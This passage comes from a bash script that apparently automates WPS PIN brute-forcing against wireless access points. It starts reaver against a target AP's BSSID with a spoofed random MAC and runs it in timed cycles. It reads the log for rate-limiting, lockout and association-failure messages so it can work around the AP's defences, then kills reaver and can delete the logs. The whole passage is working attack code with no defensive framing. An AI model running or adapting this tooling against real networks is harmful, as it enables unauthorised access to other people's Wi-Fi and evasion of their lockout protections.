	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R11 == n || $USE_R11 == N ]] && [[ $USE_LONG11 == n || $USE_LONG11 == N ]] && [[ $USE_PIN11 == y || $USE_PIN11 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -vv -x 60  --pin=$WPS_PIN11 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R11 == y || $USE_R11 == Y ]] && [[ $USE_LONG11 == n || $USE_LONG11 == N ]] && [[ $USE_PIN11 == y || $USE_PIN11 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX11" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY11"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -vv -x 60 -r $RX11:$RY11 --pin=$WPS_PIN11 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R11 == n || $USE_R11 == N ]] && [[ $USE_LONG11 == y || $USE_LONG11 == Y ]] && [[ $USE_PIN11 == y || $USE_PIN11 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN11 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R11 == y || $USE_R11 == Y ]] && [[ $USE_LONG11 == y || $USE_LONG11 == Y ]] && [[ $USE_PIN11 == y || $USE_PIN11 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME11"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL11"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP11"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX11" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY11"
echo -e "$info Reaver live time                   = $yel$LIVE11 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME11-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL11 -b $TARGETAP11 -r $RX11:$RY11 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN11 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME11-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE11-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME11-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME11-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME11-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP11 (ESSID: $NMEWARN11)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE11 == n ] || [ $KEEP_FILE11 == N ]; then

          rm VARMAC_LOGS/$NAME11-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R12 == n || $USE_R12 == N ]] && [[ $USE_LONG12 == n || $USE_LONG12 == N ]] && [[ $USE_PIN12 == n || $USE_PIN12 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
